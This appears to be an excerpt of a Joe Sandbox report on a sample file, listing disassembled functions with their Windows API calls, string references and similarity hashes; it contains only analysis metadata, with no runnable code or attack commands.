Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: b16e5bb8456a00d46ba7c8458075a3fc7a8701e99b12415c07b30b1f63208282
Instruction ID: ba811b3137ca246a2fcc93e8136cba30e50e651ddfae59aad3f4bea3de6158fa
Opcode Fuzzy Hash: b16e5bb8456a00d46ba7c8458075a3fc7a8701e99b12415c07b30b1f63208282
Instruction Fuzzy Hash: BE315E71A00219AFDB10DF54C885EAABBF8EF08308F1490A5F909EB253D771ED46CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ED41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00ED424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00ED4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00ED4271

Strings

msctls_trackbar32, xrefs: 00ED4226

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a909184fcf419c6ac527439e339c167a142b082150add3b0b2aee2420c7933ef
Instruction ID: 9b4af89a3c44217aead5768ed787665d8f5e42191f51c593aa2ad765b1430bac
Opcode Fuzzy Hash: a909184fcf419c6ac527439e339c167a142b082150add3b0b2aee2420c7933ef
Instruction Fuzzy Hash: 2311E371240208BFEF205E69CC06FAB3BACEF95B68F111115FA55F61E0D671D8129B10

Uniqueness

Uniqueness Score: -1.00%

Function 00EA2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Part of subcall function 00EA2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00EA2DC5
Part of subcall function 00EA2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA2DD6
Part of subcall function 00EA2DA7: GetCurrentThreadId.KERNEL32 ref: 00EA2DDD
Part of subcall function 00EA2DA7: AttachThreadInput.USER32(00000000,?,00000000), ref: 00EA2DE4

GetFocus.USER32 ref: 00EA2F78

Part of subcall function 00EA2DEE: GetParent.USER32(00000000), ref: 00EA2DF9

GetClassNameW.USER32(?,?,00000100), ref: 00EA2FC3
EnumChildWindows.USER32 ref: 00EA2FEB

Strings

%s%d, xrefs: 00EA2FFF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 0362dba1f4b8b1a9b3cb285e1aba45691725f9f96183ab80433641450f238f0b
Instruction ID: 3f5fae523b1e91279ed15f94f7a4c323ba2716baba336ca6aa8155505a93597b
Opcode Fuzzy Hash: 0362dba1f4b8b1a9b3cb285e1aba45691725f9f96183ab80433641450f238f0b
Instruction Fuzzy Hash: D41196716002055BCF146F749C85EED77A9DF89308F145075FE09BF192DE70A949DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ED5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00ED58C1
SetMenuItemInfoW.USER32 ref: 00ED58EE
DrawMenuBar.USER32 ref: 00ED58FD

Strings

0, xrefs: 00ED588F

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: ff3bd736d27d7ffb4c68df0effbb586e0229bbbeaa44a708e62913ccf8ac02fc
Instruction ID: 23090bbff10462df08205ce6bd8e2b1b3b5a5d919dbbbc43f2b4952617e66e6e
Opcode Fuzzy Hash: ff3bd736d27d7ffb4c68df0effbb586e0229bbbeaa44a708e62913ccf8ac02fc
Instruction Fuzzy Hash: D7018432500218EFDB219F15EC45BEEBBB4FF45365F10909AE859E6251DB308A85DF21

Uniqueness

Uniqueness Score: -1.00%

Function 00E9D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00E9D3BF
FreeLibrary.KERNEL32 ref: 00E9D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00E9D3B9
X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 9e157bf6757c4d12f15d539337441f6450fde72d494182fb07f81a711bbc2adf
Instruction ID: ed3891ee947bb3beebe8b1a01335d152a57957255eaa80fff1ab9d240c1cbc1c
Opcode Fuzzy Hash: 9e157bf6757c4d12f15d539337441f6450fde72d494182fb07f81a711bbc2adf
Instruction Fuzzy Hash: 93F0E53180F632DBDF7597214C589E93324EF10742FA4BA6AE802F2155DB20CD49D693

Uniqueness

Uniqueness Score: -1.00%

Function 00EA007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f428f921a1218c08ee32032ab0d1f6225ce3c1ba697fc11ee52809afe507f83
Instruction ID: f7fa707f98de5a2aebf3311749a10904e16ebfb768561d891c1b9dff9bef9686
Opcode Fuzzy Hash: 1f428f921a1218c08ee32032ab0d1f6225ce3c1ba697fc11ee52809afe507f83
Instruction Fuzzy Hash: 5EC13875A0020AAFDB14CFA8C894BAEB7B5FF49708F209598E505EF251D731EE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EC342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00EC3459
CoUninitialize.OLE32 ref: 00EC3463
VariantInit.OLEAUT32(?), ref: 00EC346E
VariantClear.OLEAUT32 ref: 00EC371B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: be888827a63484088aba7ab07c652a3e347e22f6f0c0eca7abb89b09bdd3a132
Instruction ID: 7463e5888849321e6949a89b51e228dcbb0178211be015e02ba9c019b6389e5c
Opcode Fuzzy Hash: be888827a63484088aba7ab07c652a3e347e22f6f0c0eca7abb89b09bdd3a132
Instruction Fuzzy Hash: 5FA167756042109FC700DF28C585E6AB7E5FF88314F14985DF98AAB362DB35EE06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000), ref: 00EA05F0
CoTaskMemFree.OLE32 ref: 00EA0608
CLSIDFromProgID.OLE32(?,?), ref: 00EA062D
_memcmp.LIBVCRUNTIME ref: 00EA064E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 6ad60c8405859170d7bf2f032f6da8fe74f61b845d521b143eaf4201f03f6c09
Instruction ID: 607f98472032dfb2156f945ae8a67845d28fb4608194800e8a3f99aacd6fdc5f
Opcode Fuzzy Hash: 6ad60c8405859170d7bf2f032f6da8fe74f61b845d521b143eaf4201f03f6c09
Instruction Fuzzy Hash: 04812B75A00109EFCB04DF94C984EEEB7B9FF89315F205598E516BB250DB71AE06CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00E81391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E814C0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 7266333c40f15105fb034725e595635a2d70c0630767527cfb4c0d79d97762a9
Instruction ID: de2fa5699bfb5755bf77ee8ebc0ca8684a9e7ad43b59588ff4186fbffbd94090
Opcode Fuzzy Hash: 7266333c40f15105fb034725e595635a2d70c0630767527cfb4c0d79d97762a9
Instruction Fuzzy Hash: D0417D31A40100ABDB217BF9AC45ABE3BEDEF41370F1462A5F43DF21A2E67448435761

Uniqueness

Uniqueness Score: -1.00%

Function 00ED6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(01115280,?), ref: 00ED62E2
ScreenToClient.USER32(?,?), ref: 00ED6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001), ref: 00ED6382

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 382727c7f606b1008a10cc2e06a4488cd145ffd47ede7cd67c5dce5d8272cf01
Instruction ID: ed7ef3c5350704fc06c7ea2251643edd84dd879ed7332e0fd8dcc9c7024f4c13
Opcode Fuzzy Hash: 382727c7f606b1008a10cc2e06a4488cd145ffd47ede7cd67c5dce5d8272cf01
Instruction Fuzzy Hash: CA512D74900209AFDF10DF68D8809AE7BB5FF95364F10925AF925AB3A0D730ED42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E7B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582d45ad4665ed6982358232c169e71aa2043f081a02704233f3a2654b6e29b7
Instruction ID: d212b9d13aec51cd84143a55c4d9b9f749769f82c00eea0fec61e5c7740e6829
Opcode Fuzzy Hash: 582d45ad4665ed6982358232c169e71aa2043f081a02704233f3a2654b6e29b7
Instruction Fuzzy Hash: 1E411971A40304BFD724AF38CC41BAABBF9EB84710F10966EF559FB292E77199018780

Uniqueness

Uniqueness Score: -1.00%

Function 00EB56D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00EB5783
GetLastError.KERNEL32 ref: 00EB57A9
DeleteFileW.KERNEL32 ref: 00EB57CE
CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00EB57FA

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d8d6f4d8bf67a143e7af84ecebad089c2b239768744b9c3f4279e3ebe5fbe2e9
Instruction ID: 7156527d8f8483fffd3aa34361b6db0c9faddfe2220cd259f7797a312e4e388a
Opcode Fuzzy Hash: d8d6f4d8bf67a143e7af84ecebad089c2b239768744b9c3f4279e3ebe5fbe2e9
Instruction Fuzzy Hash: ED413D35600A11DFCB11DF15D544A5EBBE2EF89324B189899E84ABF362CB35FD00CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E7D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000), ref: 00E7D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00E7D999
GetStringTypeW.KERNEL32 ref: 00E7D9AB
__freea.LIBCMT ref: 00E7D9B4

Part of subcall function 00E73820: RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4ab87cb1ce22cc9815c6659eb1810d135b5c4db2824c9b8f52377f934d68c7a3
Instruction ID: 56004ef0c587fecd4889223df945accdaf90b145b656466b97644e3c1a3fe1a2
Opcode Fuzzy Hash: 4ab87cb1ce22cc9815c6659eb1810d135b5c4db2824c9b8f52377f934d68c7a3
Instruction Fuzzy Hash: 1131CE72A0021AABDB249F65DC41EAE7BB5EF80354B158268FD08E6290EB75CD54CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EAAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00EAABF1
SetKeyboardState.USER32(00000080), ref: 00EAAC0D
PostMessageW.USER32 ref: 00EAAC74
SendInput.USER32(00000001,?,0000001C), ref: 00EAACC6

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 1323fb4234f62e0304ee0faeba8131fe29241d5bb670ae705dba50671935e9bc
Instruction ID: e287bfbce0c2ed0d5928478b1d60e17c1517b2d8a23b6245b8a6ae21e6b5696b
Opcode Fuzzy Hash: 1323fb4234f62e0304ee0faeba8131fe29241d5bb670ae705dba50671935e9bc
Instruction Fuzzy Hash: 4C311A309007186FFF35CB6598047FAFBA5AB4E334F0C622AE4817A1D1C375A945C752

Uniqueness

Uniqueness Score: -1.00%

Function 00ED7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00ED769A
GetWindowRect.USER32(?,?), ref: 00ED7710
PtInRect.USER32(?,?,00ED8B89), ref: 00ED7720
MessageBeep.USER32 ref: 00ED778C

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 3d6e2265923eb9ddd7ff3d51c2789966ed10b708f9c961ccef6ba08834ae0aff
Instruction ID: e81973d2f1e9507e7b34afca13f96bdd1bd6d0e542645d7a52cfb8cd97e1db55
Opcode Fuzzy Hash: 3d6e2265923eb9ddd7ff3d51c2789966ed10b708f9c961ccef6ba08834ae0aff
Instruction Fuzzy Hash: D241BC34A092189FCB01CF58C884EA977F0FB48315F5594ABE9A4AB360E330E942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00ED16EB

Part of subcall function 00EA3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00EA3A57
Part of subcall function 00EA3A3D: GetCurrentThreadId.KERNEL32 ref: 00EA3A5E
Part of subcall function 00EA3A3D: AttachThreadInput.USER32(00000000,?,00000000), ref: 00EA3A65

GetCaretPos.USER32(?), ref: 00ED16FF
ClientToScreen.USER32(00000000,?), ref: 00ED174C
GetForegroundWindow.USER32 ref: 00ED1752

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 6479599717cdd6e7652347ad5002ac7c6c161caf00bd3813cdd4ee039debcf75
Instruction ID: e5be881473e7a8da7a368949b1abb3619993eab547a32e1b090482835c5ca21d
Opcode Fuzzy Hash: 6479599717cdd6e7652347ad5002ac7c6c161caf00bd3813cdd4ee039debcf75
Instruction Fuzzy Hash: BB316F75E01249AFC700EFAAD881CAEBBF9EF49304B5490AAE415F7211D731DE45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EAD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00EAD501
Process32FirstW.KERNEL32(00000000,?), ref: 00EAD50F
Process32NextW.KERNEL32(00000000,?), ref: 00EAD52F
CloseHandle.KERNEL32(00000000), ref: 00EAD5DC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 0fd0f7bc04876bfc20f26b67ee6fea63bafc67718f910b1d4d173cdd78353189
Instruction ID: c6315df6c394dce4720fb49039a8b2a2441ac3719c3031c99d2c177eb480c223
Opcode Fuzzy Hash: 0fd0f7bc04876bfc20f26b67ee6fea63bafc67718f910b1d4d173cdd78353189
Instruction Fuzzy Hash: 2331A4315083019FD304EF54EC81AAFBBF8EFD9354F14052DF582A61A2EB71A948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

GetCursorPos.USER32(?), ref: 00ED9001
TrackPopupMenuEx.USER32 ref: 00ED9016
GetCursorPos.USER32(?), ref: 00ED905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00E97711,?,?,?), ref: 00ED9094

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: a248a83aac3353cd1fb5ab84f60589c43b972494792f128f6b922658c084b367
Instruction ID: 3ed1458825d1c45a46395cb4f9a43aee0cdd0a93b4e0801ffb99ebc8d2ca23de
Opcode Fuzzy Hash: a248a83aac3353cd1fb5ab84f60589c43b972494792f128f6b922658c084b367
Instruction Fuzzy Hash: 6121D331600018EFDB259F94EC58EFA3BB9FF49350F148156F905AB2A2C3759991EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00EAD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00EAD2FB
GetLastError.KERNEL32 ref: 00EAD30A
CreateDirectoryW.KERNEL32 ref: 00EAD319
CreateDirectoryW.KERNEL32 ref: 00EAD376

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
